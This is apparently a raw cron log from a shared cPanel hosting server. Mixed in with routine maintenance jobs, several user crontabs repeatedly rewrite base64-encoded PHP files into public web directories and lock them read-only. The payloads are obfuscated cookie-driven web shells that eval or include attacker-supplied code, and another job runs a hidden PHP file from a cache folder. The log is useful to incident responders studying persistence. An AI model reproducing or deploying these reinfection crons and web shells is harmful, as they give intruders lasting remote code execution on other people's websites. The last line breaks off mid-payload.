Mar  1 06:23:01 medusa CROND[29616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:23:01 medusa CROND[29618]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:23:01 medusa CROND[29619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:23:01 medusa CROND[29622]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:24:01 medusa CROND[3274]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:24:02 medusa CROND[3411]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:24:02 medusa CROND[3413]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:24:02 medusa CROND[3414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:24:02 medusa CROND[3415]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:24:02 medusa CROND[3416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:24:02 medusa CROND[3417]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:24:02 medusa CROND[3426]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:24:02 medusa CROND[3427]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:24:02 medusa CROND[3430]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:24:02 medusa CROND[3434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:24:02 medusa CROND[3432]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:24:02 medusa CROND[3425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:25:01 medusa CROND[10502]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:25:01 medusa CROND[10642]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:25:01 medusa CROND[10647]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:25:01 medusa CROND[10651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:25:01 medusa CROND[10652]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:25:01 medusa CROND[10653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:25:01 medusa CROND[10656]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10657]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10655]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10660]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:25:01 medusa CROND[10661]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:25:01 medusa CROND[10670]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:25:01 medusa CROND[10671]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:25:01 medusa CROND[10667]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10675]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:25:01 medusa CROND[10681]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:25:01 medusa CROND[10683]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgI